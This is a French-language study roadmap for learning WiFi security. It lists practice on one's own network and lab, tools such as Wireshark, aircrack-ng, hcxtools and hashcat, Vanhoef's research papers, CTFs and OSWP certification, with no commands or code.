Étape 2 — Sécurité WiFi (2-4 semaines) :
✅ TryHackMe "WiFi Hacking 101"
✅ Comprendre WEP/WPA/WPA2/WPA3
✅ Auditer votre propre réseau avec ce scanner
✅ Apprendre Wireshark (analyser des pcap)
Étape 3 — Pratique (1-2 mois) :
✅ Acheter une carte WiFi compatible monitor
✅ Maîtriser la suite aircrack-ng sur votre lab
✅ Sécuriser votre propre réseau (checklist bonnes pratiques)
✅ Monter un lab avec Raspberry Pi
Étape 4 — Expertise (3-6 mois) :
✅ Lire les papers de Vanhoef (KRACK, FragAttacks, Dragonblood)
✅ Étudier hcxtools + hashcat pour le cracking avancé
✅ Participer à des CTF
✅ Préparer l'OSWP (OffSec Wireless Professional)